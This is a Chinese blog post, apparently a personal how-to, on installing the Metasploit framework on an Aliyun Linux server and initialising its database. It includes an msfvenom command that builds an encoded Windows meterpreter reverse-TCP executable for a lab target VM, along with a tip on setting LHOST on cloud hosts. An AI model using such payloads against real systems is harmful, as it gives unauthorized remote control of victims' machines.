linux查看msf安装目录,linux系统安装msf的过程详解

还是自己写下安装过程吧!

我的服务器系统是 Aliyun linux

可能报错:Couldn't open file /etc/pki/rpm-gpg/RPM-GPG-KEY-Metasploit

是因为安装库的问题!

解决方法:

yum install -y epel-release

然后再重复上面那条命令!

2、添加新用户运行msf

adduser msf       #添加msf用户

su msf                #切换到msf用户

cd  /opt/metasploit-framework/bin   #切换到msf所在的目录

./msfconsole

#以后启动msfconsole,都切换到msf用户下启动,这样会同步数据库。

如果使用root用户启动的话,不会同步数据库!

(启动索引已经默认配好了!)

直接 msfconsole 就可以启动了!

#相关命令

[msf@xxxx root]$ msf

msfbinscan msfconsole msfd msfdb

msfelfscan msfmachscan msfpescan msfrop

msfrpc msfrpcd msfupdate msfvenom

#数据库初始化

[msf@xxxx root]$ msfdb

Commands:

init initialize the component

reinit delete and reinitialize the component

delete delete and stop the component

status check component status

start start the component

stop stop the component

restart restart the component

#测试:

e.g.我的虚拟主机是 Win2003(目标机)

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp

LHOST=msf_ip

LPORT=4444 -e x86/shikata_ga_nai -f exe > test.exe

注:如果是弹性云服务器IP,LHOST 要设置为内网分配IP,不能设公网IP [被这个坑折腾好久!!!吐血!!!]

285e4cdb87f6e8b2903b81048ecf4e76.png

ps:linux系统下安装msf框架

命令:

wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-installer.run

chmod 755 metasploit-latest-linux-installer.run

./metasploit-latest-linux-installer.run

等待运行结束即可。关键地方按回车和Y即可。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值